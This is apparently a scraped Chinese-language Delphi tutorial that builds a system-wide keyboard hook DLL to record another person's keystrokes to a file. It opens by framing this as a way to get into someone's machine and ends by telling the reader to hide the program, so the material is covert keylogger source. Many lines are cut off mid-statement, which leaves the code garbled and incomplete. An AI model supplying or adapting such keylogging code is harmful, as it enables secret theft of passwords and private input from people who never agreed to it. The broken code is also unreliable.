下面就來舉個例子(使用Delphi
如果你需要訪問某個人的機器
首先需要申明一點
寫個DLL定義一下函數
function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure EntryPointProc(Reason: Integer);
const
hMapObject: THandle =
begin
case reason of
DLL_PROCESS_ATTACH:
begin
hMapObject := CreateFileMapping($FFFFFFFF
rHookRec := MapViewOfFile(hMapObject
end;
DLL_PROCESS_DETACH:
begin
try
UnMapViewOfFile(rHookRec);
CloseHandle(hMapObject);
except
end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<>
exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<>
begin
unhookwindowshookex(hNexthookproc);
hNexthookproc:=
messagebeep(
end;
result:=hNexthookproc=
MainHandle:=
end;
function Setkeyhook:bool;export;
begin
hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD
result:=hNexthookproc<>
end;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
var
s:Tstringlist;
begin
if icode<
begin
result:=CallNextHookEX(hNexthookproc
exit;
end;
if lparam<
begin
exit;
end;
s:=TStringlist
if FileExists(afilename) then
s
//將敲打的鍵盤字符保存到文件中
s
s
s
result:=
end;
Dll的Project文件中定義如下
exports
setkeyhook index
endkeyhook index
SetMainHandle index
begin
hNexthookproc:=
procsaveexit:=exitproc;
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end
這樣DLL就定義好了
function setkeyhook:bool;external
function endkeyhook:bool;external
procedure SetMainHandle(Handle: HWND); external
//開始捕獲鍵盤
SetMainHandle(handle);
setkeyhook
//中止捕獲鍵盤
endkeyhook
然後吧你程序隱蔽起來
另外Hook的功能不僅僅是簡單使用
From:http://tw.wingwit.com/Article/program/Delphi/201311/24671.html